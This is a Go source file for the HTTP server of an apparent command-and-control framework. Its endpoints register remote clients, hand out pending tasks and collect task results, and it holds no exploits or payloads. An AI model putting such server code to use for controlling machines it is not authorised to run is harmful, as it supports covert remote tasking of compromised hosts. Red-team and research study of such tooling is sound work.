-
Notifications
You must be signed in to change notification settings - Fork 0
/
server.go
201 lines (184 loc) · 6.08 KB
/
server.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
package main
import (
"encoding/json"
"fmt"
"net/http"
"github.com/google/uuid"
"github.com/bblenard/CommandAndControl/endpoints"
"github.com/bblenard/CommandAndControl/logging"
"github.com/bblenard/CommandAndControl/storage"
"github.com/bblenard/CommandAndControl/types"
)
func saveTasks(w http.ResponseWriter, req *http.Request) {
logging.Journal.Logf(logging.HTTP, "Endpoint: %s\n", req.URL)
responseEncoder := json.NewEncoder(w)
task := new(types.Task)
jd := json.NewDecoder(req.Body)
err := jd.Decode(task)
if err != nil {
logging.Journal.Logf(logging.Error, err.Error())
w.WriteHeader(http.StatusBadRequest)
responseEncoder.Encode(err.Error())
return
}
err = storage.DB.SaveTasks(*task)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
}
responseEncoder.Encode("")
}
func deleteTask(w http.ResponseWriter, req *http.Request) {
logging.Journal.Logf(logging.HTTP, "Endpoint: %s\n", req.URL)
responseEncoder := json.NewEncoder(w)
taskID := req.Header.Get("TID")
if taskID == "" {
w.WriteHeader(http.StatusBadRequest)
responseEncoder.Encode("missing task id to delete")
}
err := storage.DB.DeleteTasks(taskID)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
responseEncoder.Encode(err)
}
responseEncoder.Encode("task removed")
}
func saveTaskResults(w http.ResponseWriter, req *http.Request) {
logging.Journal.Logf(logging.HTTP, "Endpoint: %s\n", req.URL)
responseEncoder := json.NewEncoder(w)
tr := new(types.Result)
jd := json.NewDecoder(req.Body)
err := jd.Decode(tr)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
responseEncoder.Encode("") // I don't want to give info to the client.
logging.Journal.Logf(logging.Error, err.Error())
return
}
responseEncoder.Encode("")
err = storage.DB.SaveTaskResults(*tr)
if err != nil {
}
}
func saveClient(w http.ResponseWriter, req *http.Request) {
logging.Journal.Logf(logging.HTTP, "Endpoint: %s\n", req.URL)
responseEncoder := json.NewEncoder(w)
requestDecoder := json.NewDecoder(req.Body)
c := new(types.Client)
c.New()
err := requestDecoder.Decode(&c.Details)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
responseEncoder.Encode("Error")
}
storage.DB.SaveClients(*c)
responseEncoder.Encode(c.ID)
}
func getClients(w http.ResponseWriter, req *http.Request) {
logging.Journal.Logf(logging.HTTP, "Endpoint: %s\n", req.URL)
clients, err := storage.DB.GetClients()
if err != nil {
logging.Journal.Logf(logging.Error, err.Error())
}
err = json.NewEncoder(w).Encode(clients)
if err != nil {
logging.Journal.Logf(logging.Error, err.Error())
}
}
func getClientByID(w http.ResponseWriter, req *http.Request) {
logging.Journal.Logf(logging.HTTP, "Endpoint: %s\n", req.URL)
responseEncoder := json.NewEncoder(w)
cUUIDRaw := req.Header.Get("CID")
_, err := uuid.Parse(cUUIDRaw)
if err != nil {
responseEncoder.Encode(fmt.Sprintf("error: failed to parse CID %s", err.Error()))
return
}
client, err := storage.DB.GetClientByID(cUUIDRaw)
if err != nil {
responseEncoder.Encode(fmt.Sprintf("error: failed to retrieve client %s", err.Error()))
return
}
err = responseEncoder.Encode(client)
if err != nil {
responseEncoder.Encode(err.Error())
return
}
}
func getCompletedTasksByClient(w http.ResponseWriter, req *http.Request) {
logging.Journal.Logf(logging.HTTP, "Endpoint: %s\n", req.URL)
responseEncoder := json.NewEncoder(w)
cUUIDRaw := req.Header.Get("CID")
_, err := uuid.Parse(cUUIDRaw)
if err != nil {
fmt.Printf("header parse: %s", err.Error())
w.WriteHeader(http.StatusBadRequest)
responseEncoder.Encode(fmt.Sprintf("error: failed to parse CID %s", err.Error()))
return
}
taskReports, err := storage.DB.GetCompletedTasksByClient(cUUIDRaw)
if err != nil {
fmt.Printf("storage call: %s", err.Error())
w.WriteHeader(http.StatusInternalServerError)
responseEncoder.Encode(fmt.Sprintf("error: failed to retrieve tasks: %s", err.Error()))
return
}
err = responseEncoder.Encode(taskReports)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
responseEncoder.Encode(fmt.Sprintf("error: failed to encode response: %s", err.Error()))
return
}
}
func getPendingTasksByClient(w http.ResponseWriter, req *http.Request) {
logging.Journal.Logf(logging.HTTP, "Endpoint: %s\n", req.URL)
responseEncoder := json.NewEncoder(w)
cUUIDRaw := req.Header.Get("CID")
_, err := uuid.Parse(cUUIDRaw)
if err != nil {
w.WriteHeader(http.StatusBadRequest)
responseEncoder.Encode(fmt.Sprintf("error: failed to parse CID %s", err.Error()))
return
}
tasks, err := storage.DB.GetPendingTasksByClient(cUUIDRaw)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
responseEncoder.Encode(fmt.Sprintf("error: failed to retrieve tasks: %s", err.Error()))
return
}
err = responseEncoder.Encode(tasks)
if err != nil {
fmt.Println("Encoding tasks")
w.WriteHeader(http.StatusInternalServerError)
responseEncoder.Encode(fmt.Sprintf("error: failed to encode response: %s", err.Error()))
return
}
}
// func exportDB(w http.ResponseWriter, req *http.Request) {
// }
// func importDB(w http.ResponseWriter, req *http.Request) {
// }
func ServerMode() error {
logging.NewLogger(logging.Stdout, logging.All)
logging.Journal.Logf(logging.Stage, "Creating Storage")
err := storage.NewStorage(storage.MySQL)
if err != nil {
fmt.Println(err)
}
logging.Journal.Logf(logging.Database, "Database Status at Start: %s", storage.DB)
http.HandleFunc(endpoints.SAVETASK, saveTasks) // Internal
http.HandleFunc(endpoints.SAVETASKRESULT, saveTaskResults)
http.HandleFunc(endpoints.SAVECLIENT, saveClient)
http.HandleFunc(endpoints.GETCLIENTS, getClients) // Internal
http.HandleFunc(endpoints.GETCLIENTBYID, getClientByID) // Internal
http.HandleFunc(endpoints.GETPENDINGTASKSBYCLIENT, getPendingTasksByClient)
http.HandleFunc(endpoints.GETCOMPLETEDTASKSBYCLIENT, getCompletedTasksByClient) // Internal
http.HandleFunc(endpoints.DELETETASK, deleteTask) // Internal
return http.ListenAndServe("0.0.0.0:8888", nil)
}
func main() {
err := ServerMode()
fmt.Println("Server Mode Exiting")
if err != nil {
panic(err)
}
}